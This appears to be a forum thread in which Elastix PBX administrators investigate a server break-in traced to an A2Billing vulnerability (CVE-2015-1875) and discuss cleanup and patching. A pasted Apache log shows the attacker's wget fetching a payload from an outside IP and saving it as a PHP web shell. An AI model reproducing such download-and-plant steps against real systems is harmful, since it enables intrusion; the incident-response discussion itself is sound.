Hacked, anyone else?

[surp]

Their calling card is changing the /var/www/html/index.php file to give a 301 moved error that points to google.com

There was an empty /admin/readme.php which the exploit probably created. From there I think they were able to inject a file and that is probably how they got access. This was an updated system so this may be a new exploit. They were also looking for the vtiger directory but that had been removed from this system because of all the exploits on it.

 

[danardf]

Hi

I've checked my dummy server, and there's no readme.php file under /var/www/html/admin too.
If VTiger no longer exists, being the most important backdoor's attack, maybe you could try to sending a report to bugs.elatix.org giving all log files.

However, remember to never expose your GUI directly to the WAN access.
Also, .htaccess could help you and using some good firewall rules.

 

[surp]

Hi

I've checked my dummy server, and there's no readme.php file under /var/www/html/admin too.
If VTiger no longer exists, being the most important backdoor's attack, maybe you could try to sending a report to bugs.elatix.org giving all log files.

However, remember to never expose your GUI directly to the WAN access.
Also, .htaccess could help you and using some good firewall rules.

This is probably a new exploit. I suspect there will be more reports of this in the coming days. There were other files that were added. They appear to be accessing a2billing at the time so that might be where the exploit starts.

Here is more info. There are XOX.php, deleteme.php and BChgd322.php files in /var/www/html/images. The following is from apache log file

sh: a.gz: command not found
gunzip: /tmp/sql.gz: No such file or directory
--2015-12-27 16:01:04-- http://195.154.214.162/zizo.txt
Connecting to 195.154.214.162:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1953 (1.9K) [text/plain]
Saving to: `/var/www/html/images/deleteme.php'


I have filed many bugs.elastix.org reports and they usually get ignored. If they are looked at it is often weeks or months later.

 

[danardf]

Honestly I gave up on using bugs.elastix.org. I have filed many bugs and they have all been ignored.

Maybe. but in any cases, your reports would be present and the team could not say : We didn't know it!
If you want to do it, it could be better for the community.

 

[danardf]

I found this :
http://www.cvedetails.com/cve/CVE-2015-1875/

Try to update a2b.

 

[danardf]

From my side, it's usual for me to making updates every months.
In Centos 7, it looks like to have a new parameter arround yum, a kind of yum cron which could be useful (or not).

 

[surp]

It does look like maybe an A2billing file. I am finding successful injection attempts back to Dec20 so far.

I just removed A2bllling for now until we figure it out.

yum remove elastix-a2billing

A2billing was not the very latest so maybe this has been fixed?

 

[danardf]

if you don't use it, this is a good way.

 

[danardf]

This exploit is not completely caused from Elastix but from Asterisk2Billing which needs to be updated or fixed.

 

[surp]

So pretty sure this was the exploit they used as was previously pointed out.
http://www.cvedetails.com/cve/CVE-2015-1875/

We had already updated A2billing for the last vulnerability before that which fixed the folder permission but didn't realize there was yet another vulnerability requiring yet another update after that.

 

[danardf]

Ok great